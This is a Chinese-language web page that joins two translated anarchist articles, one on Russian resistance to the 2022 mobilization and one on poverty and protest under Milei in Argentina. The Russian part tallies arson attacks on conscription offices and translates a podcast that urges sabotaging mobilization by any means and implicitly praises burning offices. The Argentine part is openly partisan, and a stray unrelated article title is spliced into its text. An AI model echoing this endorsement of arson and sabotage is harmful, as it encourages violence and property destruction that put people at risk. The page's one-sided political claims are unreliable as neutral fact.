最有趣的抗议活动发生在俄罗斯周边的小城镇，那里的示威者已经开始尝试保护自己。例如，在达吉斯坦的 Endirei 村（下图），警察被迫向抗议者的头顶开枪以重新获得控制。在达吉斯坦首府马哈奇卡拉，抗议者试图封锁一条道路并与警察发生冲突。

如果俄罗斯的控制网开始崩溃，它将从边缘开始崩溃，而不是在大都市的中心。

由于常规抗议的成本如此之高，在过去**7**个月中获得势头的主要抗议形式是秘密袭击，特别是针对征兵中心的纵火和铁路破坏行动。在宣布“部分动员”之前，自入侵乌克兰以来，至少有37起针对征兵办公室和行政大楼的纵火事件；到9月25日上午，在普京宣布动员之后，至少又有17起此类袭击事件被报道。在本报告接近完成时又发生了一起，使总数达到55起。

其中一些攻击很可能是有组织的无政府主义者所为，比如那些与秘密的无政府主义共产主义战斗组织有关的人，自从上个月对他们进行的采访以来，该组织一直受到大量的宣传。还有一些只是绝望的行为。一名抵抗动员的男子在梁赞汽车站自焚。另一名男子在伊尔库茨克的乌斯季-伊利姆斯克市向征兵委员会的负责人开枪。据报道，当军委委员正在指导新兵时，袭击者宣布“谁也别想走！”并用子弹将其击倒。

与哈萨克斯坦一样，抗议活动如此困难的事实意味着，带着手绘标语上街与带着一罐汽油或简易枪支独自上街之间的界限比西欧和美国更窄。

虽然终于可以想到，在被逼到墙角的情况下，普京有一天可能会失去对权力的控制，但绝不保证接下来的情况会好转。

沮丧的民族主义是法西斯主义的典型温床，许多敢于批评普京外交政策的人都是鹰派，他们一直要求对乌克兰及其盟友采取更积极的政策。普京培养了忠诚的民族主义和法西斯主义运动，同时粉碎了自治和反权威的运动和亚文化，而苏联的遗产在数百万俄罗斯人的心目中已经使左翼和共产主义提案丧失了信誉。

至关重要的是，我们要把资源和支持导向俄罗斯无政府主义者和反战抗议者，这样他们就会有他们所需要的能力来向其他俄罗斯人说明目前的状况—— 不仅仅是为了结束乌克兰战争，也是为了建立一个结束普京政权后的新社会模式，更具有参与性和平等主义的社会模式。1991年苏联解体时发生的资本主义狂热是一场真正的灾难；许多俄罗斯人因此害怕变革是可以理解的，而无政府主义者有责任表明社会转型可能也应该产生不同的结果。

正如哈萨克斯坦的起义中所论述的：

> “真正的社会变革—— 在俄罗斯圈和西方一样——将需要一场长期的斗争。推翻政府是必要的，但还远远不够：为了抵御未来的政治和经济强权，普通人必须在横向、分散的基础上发展集体力量。这不是一天或一年的工作，而是一代人的工作”。

(俄罗斯警方努力控制达吉斯坦恩迪雷的抗议者。)

我们长期以来一直在强调，俄罗斯的情况之所以值得我们关注，并不是因为它代表了国家压迫的一个令人震惊的特殊案例，而是因为——

它是我们所有人在世界各地面临的相同情况的一个变体。在21世纪，极权主义的专制制度作为国家权力的模板并没有失去地位，相反，它在欧洲（上周意大利极右翼在选举中的胜利）以及美国，都在不断壮大。

随着争夺资源的冲突加剧，以及生态危机的加剧，我们可能会看到更多像乌克兰这样的战争。事实上，这种情况已经在前苏联的其他地方发生了，因为塔吉克斯坦和吉尔吉斯斯坦、阿塞拜疆和亚美尼亚之间的敌对行动加剧了。今天在俄罗斯与专制主义和军国主义作斗争的人，是在与全世界的专制主义和军国主义作斗争，我们应该向他们学习并支持他们。

(在极权主义政权中，有时你可以去的最自由的地方就是逮捕你的警车的后车厢里。)

逃亡者之夜

「图」

以下是俄罗斯无政府主义网络和媒体平台 avtonom.org 的每周播客9月25日节目的翻译。

破坏动员

「图」

本周的主要新闻是普京宣布的所谓“部分动员”。事实上，这里面没有什么“部分”：俄罗斯的人口只是直接交给了国防部随便用：国防部要多少人就直接拿多少人当炮灰。首先，他们会带走金戈铁马的爱国者，然后是不关心政治的老百姓，然后他们会来找剩下的知识分子，即使这些知识分子的作用很有限。

这是普京的一种绝望的姿态：它表明，在乌克兰迅速开展常规战争的战略已经彻底失败，俄罗斯已经用完了或多或少的专业军队，它没有空中优势，现代武器已经用完，剩下的就是用全国各地随机的人民的尸体来填充前线。当然，这种动员在战略上也不会改变战争的任何情况（除非它使普京更接近完蛋）。一方面，这是好事：如果俄罗斯帝国开始赢了，从长远来看，对每一个生活在乌克兰（也包括俄罗斯）的人来说，情况会更得糟糕。但从短期来看，动员只会给那些最终被该政权的措施压垮的俄罗斯人带来巨大的痛苦，就像那些被卷入任何无意义的帝国绞肉机的人一样。

让我们从那些被动员的人将失去他们的工作开始（失去就业合同，表面上看只是暂停被动员者的合同，但很明显，在现实中，没有任何老板会愿意等待潜在的200人回来[“200人” 是克里姆林宫对阵亡士兵的说法]），我们将结束与前线的炮灰的明显风险。你可以从在乌克兰作战的军队中回来，要么躺在棺材里，要么带着重伤住院，要么作为逃兵，在最后这种情况下，这是一种刑事犯罪，涉及真正的监狱判决。换句话说，即使从纯粹的实用主义角度来看，在收到征召通知后，直接逃避也是更明智的做法，最糟糕的不过是收到罚款或缓刑。

然而，就目前而言，排队的不是志愿者就是无畏的傻子，他们仍然在排队。尽管到目前为止，对不出现的人只有行政处罚（许多如何逃避征兵的指南已经出来了）。这让我们想起苏联的老笑话，他们在工厂里宣布：“明天我们将在工厂的场地上吊死每个人！你们有什么问题吗？” 作为回应，一个胆小的声音从观众席上传来：“我们必须带着绳子和肥皂吗，还是在工会里发这些东西？” [在俄语中，“绳子和肥皂”是指上吊时需要的东西] 在这方面特别有趣的是，在莫斯科，其中一个动员点设立在达尔文博物馆—— 显然是为了立即向那些前来的人颁发达尔文奖。正如汉娜·阿伦特所写道的：“这些人不是恶棍，不是变态，也不是虐待狂：不，比所有这一切更糟糕的是，他们过去和现在都非常非常正常”。

我们毫不怀疑，我们的读者并不向往普京的帝国主义征服战争。如果他们面临被动员的威胁，他们应该怎么做？[这里的俄语原文有一个双关语：mobilizatsiya，俄语中的 “动员”，被调整为 “moGilizatsiya”，因为mogila是俄语中的 “坟墓”。] 答案只有一个：以一切可能的方式去破坏它。现在，在2022年9月，真正的 “逃亡者之日” 即将到来。 [在俄罗斯，2月23日是 “祖国保卫者日”，向所有在军队服役的人致敬。传统上，无政府主义者会在这一天组织反军国主义的活动，称其为 “逃兵日”。]

不要去征兵办公室，不要接受传票，不要呆在你登记的地址。不要告诉任何当局你在哪里：让他们千方百计去找你。无论你的真实信仰如何，你都可以去申请民役。不要去上班，请病假。总的来说，尽可能随意违反他们的法律：你自己的生命更重要。

【注：民役又称替代役或一般替代役，是不同于兵役的另一种服国民役的形式，如因良心拒服兵役、身体残疾、健康欠佳，信仰、或是政治的原因。民役服务通常涉及某种形式的劳动，地点则通常在非盈利性质的政府机构，如康复中心或养老院。 】

另一个选择是逃离这个国家。例如，德国似乎准备接受俄罗斯军队的

逃兵。在这里，每个人都应该自己决定，但很明显，不是每个人都有资源离开俄罗斯，也不是每个人都有这个愿望。此外，还有可能在穿越边境时被扣留。

最后，请记住：团结、互助和集体活动，才是至关重要的。如果每个人都只是独自躲在地窖里或逃到格鲁吉亚去，普京就会永远统治下去[在俄语中，这句话被表述为“集体的普京”，也就是说，普遍存在的辞职和服从的心态]。参加反对动员的行动。9月24日全国各地的反战街头抗议活动并没有吸引特别多的人。但似乎有一些激进化—— 在莫斯科，示威者从警察手中抢回了被拘留者。无论如何，入狱15天甚至10年，总比被HIMARS[美国制造的轻型火箭炮]的炮弹撕成碎片或被卡德罗夫分队的匪徒在巴赫穆特附近的某个地方射杀要好上无数倍[拉姆赞·卡德罗夫是车臣共和国元首，俄罗斯军队的一名中将；巴赫穆特是顿涅茨克州的一个城市]。

能够改变国家局势的是集体行动，而不是个人的自救。通过所有可用的手段采取行动。如果我们现在袖手旁观，结果就是我们中很少有人能脱身。在宣布动员的当天，军事登记和征兵办公室开始更频繁地起火，被烧毁的办公室越多，动员工作就会进行得越慢。逃亡者的夜晚开始了。但要注意：当抗议活动开始吸引大量民众时，至少要有一些无政府主义者仍然留在俄罗斯并没有被逮捕。

无论如何：采取一切方法去破坏动员，在死亡机器的齿轮上扔沙子。即使你只是说服几个熟人不接受传票，就已经是一个重要的行为。

(马哈奇卡拉的反战示威者回应警察的暴行)

情况会越来越糟

「图」

俄罗斯正在输掉正在进行的常规（非核）战争。是的，一个落后的半工业化国家不可能对抗几乎整个世界，即使它有非常大的领土（在这种情况下，这只是代表了一个额外的脆弱性）。因此，如果一切都按照现在的方式进行，那么俄罗斯的未来就是：投降、赔偿、贫穷，而且很可能解体（不管是否自愿）。这对目前俄罗斯联邦领土上的人们来说会很困难，但至少他们会有机会从头开始重建自己的社会。反专制力量也可以在其中发挥重要作用，无论他们被称为“无政府主义者”还是某种“模糊的民主人士”，都无所谓。

还有另一种结果：被重蹈卡扎菲命运的前景所吓倒，普京发射了核武

器（前提是那些武器还没有完全生锈）。很难预测事件的进一步发展，但这种威胁显然不限于乌克兰的领土。因此，现在这种情况的可能性比此前要严重得多了。如何防止它—— 以及基层政治运动是否能以某种方式影响它—— 是一个开放的问题。无论如何，核武器在原则上就不是任何好主意，而克里姆林宫里的一个耄耋老人手中的核武器则更糟。

战争蔓延

「图」

像往常一样，在乌克兰战争的掩护下，邻国也开始用军事力量来解决他们的问题。在这里，塔吉克斯坦与吉尔吉斯斯坦在边境交火；在那里，阿塞拜疆越过亚美尼亚的边境，占领了新的领土，所有这些都涉及到无数的尸体和伤员。全世界的注意力都集中在乌克兰，那么为什么不利用这一点呢？世界大战就是这样开始的。

我们决不能忘记这一点；我们至少应该关注像阿塞拜疆这样的小帝国主义分子。毕竟，一切都要通过比较来学习。与美国相比，俄罗斯也是一个小规模的帝国主义，但尽管如此，这并不意味着我们应该对它的错误行为视而不见（即使诺姆·乔姆斯基和罗杰·沃特斯告诉我们要这样做，他们的美国和英国护照能可靠地保护他们自己免受FSB/俄罗斯秘密警察的电击）。

俄罗斯警察在圣彼得堡袭击抗议者 —— 他们会压制俄罗斯最后的异议吗，还是把它变成高压锅？

延伸阅读 ——

「图」

- The Anarcho-Communist Combat Organization—An Interview with a Clandestine Anarchist Group
- Waiting for the Wheel of History to Turn—Reflections on the First Phase of the Russian Anti-War Movement
- Россия: мобилизация и сопротивление - Сможет ли российское антивоенное движение ответить на брошенный вызов?

隐写委员会：《致我们的朋友》

○□

原文

在社会同类相食的岁月里，奋力的互助和抵抗 - iyouport

反抗者-寻求经验

"如果中国真的有如此多达尔文市场的信仰者，那将是下一个史无前例的恐怖片上演。"

本文导语直接引述一位读者曾经的话：

> 「我知道很多中国人为什么吹嘘米莱和“阿根廷经验”甚至达到了宁可罔顾事实的地步。

中国读者将在这篇报道中读到很多您熟悉的情节。底层互害、中产焦虑、富人自保，遍地都是恐怖仇杀、绝望的自尽 …… 一些穷人看不起另一些穷人，被A种剥削压榨的人看不起被B种剥削压榨的人。统治者操纵底层互相残害，同类相食，从而稳固了暴政、维护了暴政庇护的富人们的安全。

他们真的做到了，让那些起早贪黑拼命工作的奴才们憎恨抗议者“造成交通拥堵妨碍别人赚钱”。

所有的宣传都强调“穷是你自己不够努力导致的”，抑郁焦虑是“你自己不会处理情绪导致的”，遭遇背叛利用和算计都是“因为你不通人性、社会水平太低导致的” ……

胡说八道的网络小视频教授男人和女人之间的战斗、员工与员工之间的勾心斗角，把老百姓彼此明枪暗箭的争斗当成笑话来讲述。

他们才是最强大的维稳势力—— 社会团结和互信就这样被摧毁了。局部的反抗将再次变成吃瓜围观“高高挂起”。

阶级主义和种族主义越来越正常化。

团结起来“做事”/反抗现状的组织却很快变得越来越像这个烂透了的社会。更加令人失望。

对于缺少政治经验的民众来说，混乱的权力关系将导致失去方向感，更容易被蒙骗和利用 ……

以上的共同点并不是最重要的。本文的制作是希望提醒读者关注中国社会目前缺少的部分 —— 政治实验的空间和示范政治的积极人士。构建基础设施的工作越早越好。

2023年12月，哈维尔·米莱在阿根廷上台执政，推出了全面放松管制和紧缩措施。他承诺以不受约束的资本主义的名义镇压社会运动，他的政府正在为社会的彻底崩溃和大规模毒品暴力的出现铺平道路。

在下面的报道中，无政府主义记者生动地描绘了阿根廷未来的竞争力量和愿景，最近的高潮是6月12日的冲突，当时激进的示威者与包围国会路障的近三千名警察对峙。

如果您从本文中受到启发，请考虑向布宜诺斯艾利斯的反法西斯社会体育俱乐部 La Cultura Del Barrio 捐款。

3月24日示威期间的反法西斯、无政府主义和自治联盟：“反对国家暴力—— 民众自卫。”

剪影

「图」

2024年1月下旬，社会运动、社区集会和左派组织聚集在国会前，抗议正在国会辩论的大规模新自由主义改革方案。大批警察赶来。可以看到一名警察的背心上贴着 “不要压迫我” 的加兹登旗贴片，在街上巡逻。

到傍晚时分，虽然没有发生什么事，但警察成双成对地骑着摩托车，不分青红皂白地向人群发射橡皮子弹。2024 年 1 月，警察在国会前。其中一人在背心上贴着 “不要压迫我”的加兹登旗贴片

几天后，“人力资本”部长桑德拉·佩托韦洛拒绝与社会组织会面，讨论向数千个社区食堂提供食品援助的问题。她效仿路易十六的老婆玛丽·安托瓦内特的做法，宣称 “如果有人挨饿，我将与他们一对一会面”，但拒绝经过社会组织的调解。

第二天，成千上万的人接受了她的提议，在她的部门门前排起了长队。她拒绝会见其中任何一个人。在人力资本部长宣布她将单独接待

饥饿者的第二天，市中心的排队队伍绵延了20个街区。

到3月初，公共通讯社 Telam 已被关闭。国家反歧视研究所（INADI）也被关闭。裁员浪潮几乎摧毁了所有公共机构，包括国家图书馆。还有人说要将国家银行私有化。当工人们动员起来保卫公共机构和工作场所时，他们发现建筑物已经被封锁，周围布满了防暴警察。所谓的 “自由主义”者们在那里为庆祝关闭和解雇而拍照留念。警察包围了公共通讯社 Telam 已关闭的大楼。

乌苏拉在电视直播中接受了一个亲政府频道记者的采访。她说，“我是个寡妇，靠政府补贴生活，和退休的母亲住在一起”。她提到自己有三个孩子，其中一个孩子在她接受采访时正站在寒风中的街道上。她说她最近失业了。当她解释说一家人靠在街上卖贴纸维持生计时，她当着自己十几岁的女儿的面哭了起来。

在乌苏拉接受采访前的几分钟，另一位妇女也在街头接受了采访。她说 “我打三份工来维持生计”。她们都没有提到导致她们陷入这些境地的政治和经济决策。

生活成本激增。通胀现在 “受到控制”—— 如果可以把每月9%的通胀率称为 “受到控制” 的话—— 只是因为消费需求已经崩溃。水电费、医药费和基本食品的价格都出现了爆炸性增长，涨幅都远远超过100%。与此同时，房租合同也完全放松了管制。

结果完全在意料之中。随着工资的实际价值暴跌，销售额也急剧下降。失业的不仅仅是被极端自由派污蔑为 “依靠社会生存的寄生虫” 的公职人员。小企业和工厂也接二连三地倒闭。仅5月份就有**30**万个 “工资账户”—— 专门用于领取月工资的银行账户—— 被关闭。

在卡塔马卡省的一家工厂，工人们并没有因为失去了工作场所而感到沮丧。Textilcom 纺织厂的134名工人怀疑该厂即将被关闭，他们就直接占领了工厂，以此作为反抗关闭的行动，并作为确保他们不会被拖欠工资的筹码。

然而，即便是在这里，采取集体行动、占领工厂、承受市场逻辑实际后果的工人们，仍然刻意与构成社会运动主体的失业者、非正规就业者和被边缘化人群保持着距离。“我们不依赖国家援助，我们也不想要援助，我们跟皮克特罗人不一样”。

【注：皮克特罗(Piquetero) 指的是封锁街道的抗议团体，其目的是通过示威引起人们对特定问题或需求的关注。90年代中期阿根廷出现的

失业工人运动被称为“皮克特罗运动”。卡洛斯·梅内姆担任总统期间失业率和贫困率不断上升，失去工作并面临被排除在劳动力市场之外的严重风险的工人们在不断抗议中形成了这种组织形式。】

一个人在街上偶遇米莱总统，大喊道：“人们入不敷出！”

米莱回应道：“如果人们真的无法维持生计，那他们早就死在街头了，所以这是假的。”

就连亲政府的保守派媒体也将米莱的言论描述为 “卑鄙”。

与此同时，社会组织爆料称，人力资本部一直拒绝分发5000多吨食品和物资。尽管该部一直指责社会组织运营的庞大的 “平民百姓” 网络进行敲诈勒索，并声称审计显示一半的 “平民百姓” 并不存在，但所有这些食物都在他们的仓库里腐烂。

法官命令政府立刻开始分发粮食。政府非但没有服从，反而对司法命令提出了上诉。

与此同时，全国49%的人口生活在贫困中，其中11.9%的人口处于极端贫困中，极端贫困被定义为 “连基本食物需求也无法满足的人”。人力资本部门前的示威者抗议该部门滞留了数千吨粮食援助。

以上只是哈维尔·米莱政府执政以来阿根廷发生的大规模经济和社会悲剧中的几个缩影。最后四个部分是6月初的图景，当时正值6月12日紧张局势加剧之际。通过哈维尔·米莱政府，过去已经被铲除的新自由主义政治阶层重新进入权力殿堂，其内阁由新自由主义思想家组成的——就是那些对阿根廷2000年代初的上一次经济崩溃负有责任的人。

不断飙升的贫困率和失控的通货膨胀并非始于米莱的政府。它们早就存在，这也是米莱受到民众欢迎并在选举中获胜的因素之一。此前的中左翼基什内尔主义政府的失败源于对资本主义基本性质的错误认识：基什内尔主义者要么根本没有认识到、要么就是不敢承认市场利益与社会整体利益之间不可能达成持久的休战。然而，上届政府至少在原则上将社会理解为一个相互联系的整体了，并将自由视为集体创造的东西。他们的言行不一为今天完全放松管制的疯狂资本主义实验铺平了道路。

现在，阿根廷社会受制于那些相信市场这只看不见的手可以解决所有问题的人，以及那些为了政治利益而假装相信这一点的人。这些人对“自由”的定义就是人不为己天诛地灭。我们所有人被操控在最狂热的

奥派极端资本主义经济学家手中。当他们的幻想与现实世界相遇时，后果是立竿见影的 —— 引发所有人的痛苦和不幸的大爆炸。布宜诺斯艾利斯，2024年6月12日

极端自由主义资本主义幻想与现实世界的碰撞

「图」

这就像看着一个孩子在第一堂经济学课上实时学习那样。右翼新闻频道 La Nacion＋ 中最亲米莱的记者之一埃斯特万·特雷布克（Esteban Trebucq）正在讨论私营保险公司月保费飞涨的问题。在五个月的时间里，私营保险公司的保费涨幅超过了150%，这是米莱发布大规模行政命令，放松对包括保险 “行业” 在内的阿根廷大型经济部门的所有监管所带来的众多后果之一。

特雷布克说：“有老人、有固定预算的退休人员，有长期生病的人，有再也负担不起保费的家庭，他们又回到了公共系统。公共医疗系统已经感受到了历史上最大规模的紧缩项目的影响 —— 正如米莱喜欢吹嘘的那样 —— 并且没有足够的能力应对从私营部门涌入的数以万计的新病人。“对于那些没有弹性的商品和服务，也就是人们为了生存而必需的东西，在需要商品或服务的人和提供者之间存在着权力不平衡。

我记得自己茫然地对着屏幕眨了眨眼睛，不明白他怎么会如此接近，却又如此遥远。

去年12月，米莱在电视直播中宣布了废除40多项法规、放宽数百项法规的行政命令，立即就引发了布宜诺斯艾利斯许多街区以及国会门前的自发抗议。这是公然滥用总统权力：行政命令的目的本该是应对紧急情况，而不是制造紧急情况。从根本上说，米莱利用 “紧急需求行政令” 绕过国会，单方面实施宪法改革。此后，国会下议院否决了这一行政令，但该命令仍然有效，因为根据基什内尔主义在 2005 年做出的修改，行政令必须经由国会两院的否决才能废除。

放松管制的改革体现了最极端的新自由主义。其背后的逻辑是，社会和商业关系总是发生在平等者之间，任何有利于社会整体利益的干预只会导致效率低下和服务质量差，阻碍竞争，进而阻碍增长和生产力。根据这一推理，保护穷人的法规本身就是造成贫困的主要原因。

在他们眼里，有瓦遮头的房客和拥有房屋的房东是在 “平等” 的基础上谈判的。如果房东选择向你收取房租，你可以 “自由选择” 支付全

部工资以获得栖身之所，否则你可以“自由选择”睡到大桥底下去。那些除了出卖劳动力以养家糊口之外别无选择的工人，“并没有”受到控制住房市场和生产资料的资本家的胁迫。这就是埃斯特万·特雷布克和他的同事们所鼓吹的道理。

然而，他却在电视上几乎承认现实世界并非如此运转。

但他从来没有把问题联系起来。最终，政府提出了正式指控 —— 这已经成为了司法事件 —— 保险公司组成了事实上的“卡特尔”，密谋统一抬高价格。他们当然这么做了！当一个行业发展到资本主义的垄断阶段，任其自由剥削和勒索时，总会发生这种情况。一名下岗公交车司机跳下公交车以示抗议，警方试图将其带走。他大喊着：“我只想养活我的家人。”

解除管制引发了公用事业成本和基本生活开销的爆炸式增长：公共交通费用上涨了300%至400%，煤气费、电费和燃料费都上涨了100%以上，大米、面包和其他必需品的价格也上涨了100%以上。再加上紧缩措施，这引发了残酷的经济衰退，两个需求缺乏弹性的领域——基本食品和药品—— 的消费急剧下降就是证明。

在资本主义幻想经济与现实世界交汇的六个月内，后果就是在阿根廷，许多人经常吃不起药、吃不上饭。在这个被称为“世界麦田”的国家，一条面包的价格与巴黎的售价一样。在这个平均工资只有欧洲十分之一的国家里，布宜诺斯艾利斯一杯咖啡的价格和马德里一样贵。在一个自己加工石油并拥有上市石油公司的国家，现在燃料的价格与美国的售价相当。阿根廷现在是拉丁美洲生活成本最高、最低工资最低的国家。

紧缩政策首当其冲的承担者并不是像米莱承诺的那样是政治阶层，而是由该国的工人—— 包括就业者和失业者—— 以及中产阶级来承担。资产阶级在自由支配的情况下，已经表明其计划只是最大限度地从生产阶级攫取财富。

我们对此并不感到惊讶。无政府主义者从一开始就对这种诱饵和调包提出了警告，并且向任何愿意倾听的人大喊：阿根廷所有寡头联合起来支持这个所谓的“反叛者”绝非巧合。资本家永恒的梦想是剥夺国家中任何不能帮助他们积累财富的因素—— 通过让我们回到19世纪末的条件来实现利润最大化。

他们的梦想就是我们的噩梦。越来越多的社会阶层在亲身经历后意识到了这一点。欧洲的物价、非洲的工资、东南亚的劳动条件。这行字

写的是：“我们是那些想要剥夺我们梦想的人的噩梦。”

思想斗争

「图」

当普通民众明显感觉到，无论从哪个角度看，他们的物质生活都在恶化时，怎么可能控制住骚乱、防止出现全面动荡？更令人难以置信的是，米莱为何仍能保持约50%的民众支持率？

答案就是意识形态。

意识形态，再加上怨恨、分心利用穷人对抗更穷的人。

米莱花了很多时间在国外，安排与唐纳德·特朗普、西班牙极右翼沃克斯领导人圣地亚哥·阿巴斯卡、白人至上主义者埃隆马斯克和萨尔瓦多总统纳伊布·布克尔等人见面。对于米莱的铁杆支持者来说，这证明了他作为资本主义、自由派和西方价值观捍卫者的受欢迎程度。他的铁杆支持者与特朗普的支持者很是类似：他们绝大多数是男性，喜欢阴谋论，对自己的生活环境感到沮丧，坚信他们所认为的“社会主义”、外国人和觉醒议程是他们个人不幸和阿根廷经济危机的罪魁祸首。他们仍然热衷于相信，现在需要受苦，明天才能过得更好，“V型”经济复苏即将到来。

同样，关于堕胎是谋杀的论调以及对军队和上一次独裁统治的正面评价，对于年龄较大、相对富裕的右翼选民来说也是红肉，因为他们对经济压力的感受比社会其他阶层要小一些。在更温和的右翼选择在政治上被边缘化之后，他们接受了米莱—— 一开始是不情愿的，现在则更加热切了。这再次让人联想到特朗普吸收美国大部分传统保守派基础的方式。

但这其中还存在着更广泛的意识形态冲突。米莱和极端自由派不断提到这一点。虔诚的信徒们说，他们希望改变阿根廷人和阿根廷政治的核心心态。极右翼和资本家阶级中的实用主义者明白，他们防止团结在不同斗争和不同人口之间蔓延的最好办法就是在工人阶级的不同阶层之间制造裂痕，在不同程度上以不同方式分化遭受经济危机的人们。《来稿：从徐州丰县到北京奥运，问错了问题，比找不到答案，更糟糕—献给2022情人节》

公共部门的工人被要求必须与正规经济私营部门的工人对立起来。正规经济部门的工人必须与非正规经济部门的工人对立起来。那些有工

作的人，无论正规与否，都必须以鄙视和轻蔑的眼光看待那些试图靠自己的双手生存或集体组织起来要求获得生存手段的失业者。尤其重要的是，要妖魔化那些失业的、并积极参加社会组织的、还恰好没有阿根廷公民身份的人。

我们每天都能看到右翼媒体在宣扬这些分裂。小店主怒斥街头小贩不纳税，声称 “他们甚至不是这个国家的人”。上班族对着镜头说，因为他确信阿根廷私营企业的税收负担很高，这是由国家融资的需要造成的 —— 阻碍他工资增长的不是资本主义的贪婪。当失业工人被阻挡在总统官邸门外时，被抗议人群堵在路上的出租车司机怒斥 “那些懒惰的揩油者，他们自己不为经济发展做贡献，还妨碍别人赚钱”。他对这些人“指望靠施舍过活” 以及 “工作文化” 的丧失感到愤怒。随后，同一位记者会挨个商店采访，向店主们讲述示威活动给他们的日常收入 “造成了多么严重的损失”—— 意思是让你相信，失业者和社会组织，即阿根廷最弱势和最贫穷的群体，是阻碍阿根廷经济繁荣的恶魔。

经济衰退降低了通胀率，而失业率却急剧上升。在过去几年里，阿根廷的就业 “机会” 很多，但报酬很低；打一份工往往不足以维持生计，工资的实际价值在通货膨胀的影响下不断缩水。通货膨胀对收入最低的人群打击最大，事实上几乎总是对穷人征税，但它仍然是一种无可争议的集体现象，任何市场经济的倡导者都不能将其归咎于个人的失败。

随着经济衰退的加剧，我们正在以一场危机换取另一场危机，资产阶级发动的意识形态运动逐渐成为焦点。失业就像一出个人戏剧。在全国成千上万的家庭中，千刀万剐正在上演：有人独自坐在家中思考下个月如何维持生计；有人回到家后告诉伴侣，为了养活孩子，他们不得不去打零工；还有人因为冰箱空空如也，而怯懦尴尬地走向首次光顾的小餐馆。每个失业者都会受到宣传的轰炸，宣传强调吃不上饭都是他们自己造成的—— 你应该多工作，如果你真的去找，就肯定能找到工作，你应该多努力，做个小生意。失业是个人的失败，只有你自己要为此负责。这种说法绝非巧合：这是一种遏制团结遏制反抗蔓延的堤坝。

由于目前他们赢得了思想斗争的胜利，我们看到了像上文提到的Textilcom工人那样的例子。这些工人参与了一场典型的劳工斗争—— 占领工厂以捍卫自己的利益，反对因政府政策而解雇他们的老板。然而，即使他们自己即将失业，他们仍然认为有必要与目前的其他失业者保持距离。为了迎合社会的善意，他们并不认同那些接受社会计划的人，即皮克特罗**(Piquetero)**。当被问及本届政府及其政策时，

他们的回答是 “对政治不感兴趣”。

这个维稳大坝还能支撑多久？警察和意识形态携手镇压抵抗。

现在是5月30日下午。La Nacion＋ 的一名记者正在布宜诺斯艾利斯主要铁路线之一的罗卡（Roca）号列车上，因为铁路工人要求增加工资，列车正以每小时30公里的最高时速行驶，以示抗议—— 这只是一项部分措施，如果达不成协议，计划于6月4日举行24小时罢工。

记者正在采访通勤者，显然希望能引出类似 “他们应该抗议，但不要让其他工人的生活变得复杂” 、或者 “我挣的钱只有他们的一半，但你不会看到我在这里堵路” 、再或者 “这就是造成这个国家如此这般的原因，人们总是抗议而不工作” …… 等等之类的话。相反，一位三十多岁的妇女回答说：“我没问题。为保护工人所做的一切都很好。当然，这会影响到我们所有人，但我支持所有抗议工人遭受不公正待遇的活动”。

该记者逼问她：“延误带来的不便呢”。这位受访对象坚称：“这是我们必须经历的一部分。如果我们不能团结一致，就没有出路。我们都是工人，如果有一天我处在他们的位置上，我也希望其他人能支持我。” 下一个受访者是一个穿着连帽衫的年轻人，他直截了当地说：“他们需要协商工资，这都是米莱的错。他就是个狗娘养的”。接下来的受访对象是一名身穿博卡青年队球衣的机械师，他回答说：“当然很烦人，我回家要花一个多小时。但是米莱应该辞职。每个人都应该上街游行”。

记者又和另外四五个人搭讪，但他们的回答都如出一辙，于是演播室播音员—— 依然是事实上的政府发言人埃斯特万·特雷布克（阿根廷版胡锡进）—— 接过了话茬：“今天火车上似乎有很多左派”。

也许吧。又或者，即使潮流还未转向，维稳大坝上的裂缝也显然是在不断增多。社会 VS 秩序之力

内部敌人的构建：记者指向枪口，警察扣动扳机

「图」

前总统毛里西奥·马克里（Mauricio Macri）最近将左翼分子和社会组织称为 “半兽人”。阶级主义和种族主义正变得越来越正常化。在总统的新书发布会和音乐会上（是的，他唱歌了……我不想解释），一位十几岁的米莱狂热分子直截了当地说：“米莱的工作很艰巨，但我相

信他能让这个黑鬼国家重新振作起来”。Negros字面意思是污蔑黑人，但在阿根廷，这个词不只有种族歧视的含义，也有阶级歧视的含义。它用来描述一种社会经济状况，而不是肤色本身，基本上是指“懒惰无知的穷鬼”的俚语。在国家电视台上说出这个词简直是丑闻，但 La Nacion＋ 的记者却对此视而不见。

任何以积极和有组织的方式进行反抗的人都会成为头号公敌，成为“黑鬼”、半兽人的化身。这些人“胆大包天了”居然会走上街头，给善良的阿根廷人带来不便。这些“暴力分子”不会向要求这样做的56%的选民让出自己的尊严。穷人、失业者和非正规就业者的社会组织。

在阿根廷，有一个不可思议的社会团结保护罩，尽其所能保护着最易暴露、最易被遗忘、最易被边缘化的人们免受资本主义的侵害。在数十年的长期贫困、失业和饥饿工资中，社会组织—— 被称为“皮克特罗”的组织 —— 编织了一个“大众食堂”网络。在这些地方，任何人都能找到一盘热腾腾的食物，或者至少有一些阿根廷传统饮料马黛茶（maté），来平息肚子里的咕咕声。但它们的作用远不止于此。大众食堂

他们通常为当地青少年提供了一个可以参加免费文化活动的空间，就像社区体育俱乐部那样。孩子们可以在这里坐下来画画或观看免费的木偶戏，这是一个安全的空间，而在这些社区，街头往往充斥着轻微犯罪、赌博和吸毒—— 如果没有大众食堂和社会组织提供的支持网络，许多孩子就会陷入其中。

当然，如果政府和企业媒体信以为真的话，那么这些食堂和社会组织就是社会的渣滓，是“以榨取穷人的血汗钱来获取经济和政治利益为己任”的罪犯。几个星期以来，“人力资本部”一直在带头发起一场污名化运动，并被媒体津津乐道地放大。他们声称，政府的一项审计显示，约有一半的食堂实际上并不存在；左派和庇隆主义组织负责管理进入社区食堂的通道和政府补贴的工作岗位，他们强迫人们参加游行和示威，并以被逐出社区食堂或得不到食物相威胁。在其他情况下，他们声称政府提供的粮食援助是在社区出售，而不是在食堂分发。最后，他们声称参与者向政府提供虚假的开支报告，以便将原本用于食堂的资金转用于自己的政治组织。

这就是问题变得复杂的地方，因为右翼正在操纵事实。

阿根廷大约有 35,000 家大众食堂，雇用了13万多人，至少养活了几十万人。其中许多是由传统左派政党的群众组织经营的 —— 其中最

